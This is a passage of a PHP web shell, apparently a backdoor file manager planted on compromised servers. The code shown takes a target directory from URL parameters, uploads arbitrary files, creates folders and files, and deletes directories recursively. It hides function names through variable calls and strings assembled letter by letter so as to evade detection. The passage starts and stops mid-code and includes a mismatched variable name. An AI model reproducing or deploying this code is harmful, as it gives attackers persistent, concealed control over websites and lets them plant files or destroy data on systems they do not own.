";
if (function_exists('mail')) {
echo $mail." ".$mbb." ".$errr." ".$impp;
} else {
echo $mail." ".$mbb." ".$errr." ".$impp;
}
if (function_exists('putenv')) {
echo "
[ Function putenv : 0FF ]
";
}
foreach ($_GET as $c => $d) $_GET[$c] = y($d);
$curdirec = $ril(isset($_GET['d']) ? $_GET['d'] : $rootdirs);
$chd($curdirec);
$viecmprs = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['filetos'])) {
$file_name = $bs($_FILES["filetos"]["name"]);
$target_file = $curdirec . '/' . $file_name;
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$path = dirname($_SERVER['PHP_SELF']);
$url_to_file = $protocol . $host . $path . '/' . $file_name;
if ($mup($_FILES["filetos"]["tmp_name"], $target_file) && filesize($target_file) > 0) {
echo "" . $htm($file_name) . " OK - Click here!
";
}
elseif (@$cpy($_FILES["filetos"]["tmp_name"], $target_file) && filesize($target_file) > 0) {
echo "
" . $htm($file_name) . " OK - Click here!
";
}
elseif ($fpc($target_file, $fgc($_FILES["filetos"]["tmp_name"])) && filesize($target_file) > 0) {
echo "
" . $htm($file_name) . " OK - Click here!
";
} else {
echo "
Failed!
";
}
}
elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$ff = $_POST['folder_name'];
$newfldr = $curdirec . '/' . $ff;
if (!file_exists($newfolder)) {
if ($mek($newfldr) !== false) {
echo 'Dir created
';
}else{
echo 'ERR: Failed to create dir
';
}
}
} elseif (isset($_POST['file_name'])) {
$filename = $_POST['file_name'];
$newfile = $curdirec . '/' . $filename;
if (!file_exists($newfile)) {
if ($fpc($newfile, '') !== false) {
echo '' . $filename .' Created
';
$viefis = $newfile;
if (file_exists($viefis)) {
$filecont = $fgc($viefis);
$viecmprs = '
Result: ' . $filename . '
';
echo '
';
echo $viecmprs;
echo '';
function deldir($okuns) {
$unl = "u"."n"."l"."i"."n"."k";
if (!file_exists($okuns)) {
return true;
}
if (!is_dir($okuns)) {
return $unl($okuns);
}
$scd = "s"."c"."a"."n"."d"."i"."r";
foreach ($scd($okuns) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
if (!deldir($okuns . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($okuns);
}
?>